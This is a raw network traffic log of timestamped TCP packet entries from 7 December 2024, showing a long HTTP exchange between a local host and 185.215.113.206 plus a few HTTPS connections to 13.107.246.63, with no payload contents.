Dec 7, 2024 22:40:41.105345964 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.105381966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.106270075 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.106311083 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.106453896 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.106496096 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.107249022 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.107290983 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.107348919 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.107388973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.108129025 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.108164072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.108300924 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.108335972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.109081030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.109168053 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.109261036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.109302044 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.109993935 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.110035896 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.110095024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.110136986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.110970020 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.111037970 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.111125946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.111125946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.111850977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.111901045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.111960888 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.112000942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.112812042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.112854958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.112905025 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.112946033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.113799095 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.113838911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.113882065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.113928080 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.114696026 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.114732981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.114779949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.114823103 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.115662098 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.115708113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.115740061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.115776062 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.116594076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.116636992 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.116682053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.116723061 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.117516041 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.117561102 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.117614031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.117665052 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.118465900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.118520975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.118570089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.118614912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.119424105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.119471073 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.119556904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.119601965 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.120367050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.120417118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.120476007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.120522022 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.121319056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.121433973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.121438026 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.121476889 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.122251987 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.122296095 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.122558117 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.122601032 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.123209953 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.123271942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.123428106 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.123473883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.124222994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.124263048 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.124510050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.124546051 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.125085115 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.125128984 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.125185013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.125226021 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.126040936 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.126085043 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.126188993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.126230001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.126960039 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.127000093 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.127058983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.127099037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.127973080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.128025055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.128071070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.128113985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.128840923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.128885031 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.128974915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.129014969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.129770041 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.129816055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.129880905 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.129921913 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.130682945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.130723953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.248847008 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:41.249414921 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:41.249428988 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:41.249880075 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:41.249883890 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:41.273678064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.273760080 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.273798943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.273839951 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.274122000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.274169922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.274230957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.274270058 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.275069952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.275116920 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.275177002 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.275222063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.276031971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.276078939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.276117086 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.276164055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.276974916 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.277020931 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.277076006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.277120113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.277920961 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.277966976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.278024912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.278069019 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.278856993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.278909922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.279012918 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.279056072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.279802084 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.279846907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.279896975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.279937983 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.280761003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.280810118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.280865908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.280910015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.281717062 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.281765938 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.281907082 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.281950951 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.282702923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.282759905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.282902002 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.282947063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.283637047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.283648968 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.283688068 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.284527063 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.284574986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.284889936 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.284934998 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.285502911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.285515070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.285547018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.285558939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.286447048 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.286494970 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.286619902 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.286665916 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.287360907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.287411928 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.287444115 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.287484884 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.288300037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.288346052 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.288391113 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.288434982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.289232016 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.289274931 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.289323092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.289403915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.290180922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.290229082 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.290271997 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.290321112 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.291111946 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.291160107 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.291213036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.291254997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.292135954 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.292146921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.292187929 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.293104887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.293117046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.293174028 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.294070959 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.294081926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.294116020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.294998884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.295063019 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.295186043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.295228958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.295849085 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.295893908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.295948982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.295990944 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.296797037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.296838045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.296873093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.296912909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.297723055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.297771931 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.297840118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.297913074 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.298665047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.298710108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.298762083 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.298803091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.299650908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.299695015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.299752951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.299798965 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.300570965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.300616980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.300661087 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.300700903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.301531076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.301578045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.301616907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.301748037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.302465916 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.302510977 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.302550077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.302587032 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.303388119 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.303428888 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.303493023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.303536892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.304277897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.304322958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.339647055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.459136009 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.682750940 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:41.682811022 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:41.682873964 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:41.683104038 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:41.683120012 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:41.683132887 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:41.683137894 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:41.685914040 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:41.685956955 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:41.686043024 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:41.686477900 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:41.686490059 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:41.776679039 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.776748896 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.776828051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.776897907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.777189016 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.777345896 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.777379990 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.777391911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.777437925 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.778280973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.778294086 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.778347969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.779218912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.779232025 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.779283047 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.779938936 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.780018091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.780060053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.780143023 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.780857086 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.780910969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.780961037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.781011105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.781796932 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.781868935 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.781904936 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.781945944 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.782726049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.782785892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.782836914 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.782872915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.783696890 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.783749104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.783837080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.783895016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.785080910 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.785094023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.785147905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.785595894 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.785696983 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.785846949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.786158085 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.786674976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.786734104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.786853075 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.786921978 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.787497044 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.787550926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.787615061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.787659883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.788419008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.788477898 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.788530111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.788738012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.789370060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.789423943 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.789506912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.789552927 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.790294886 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.790364027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.790412903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.790497065 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.791232109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.791280985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.791397095 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.791444063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.792184114 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.792227030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.792351007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.792526960 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.793128967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.793222904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.793589115 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.793768883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.795773029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.795785904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.795823097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.795830011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.795835972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.795864105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.795877934 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.795974970 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.796030045 CET	49790	80	192.168.2.6	185.215.113.206
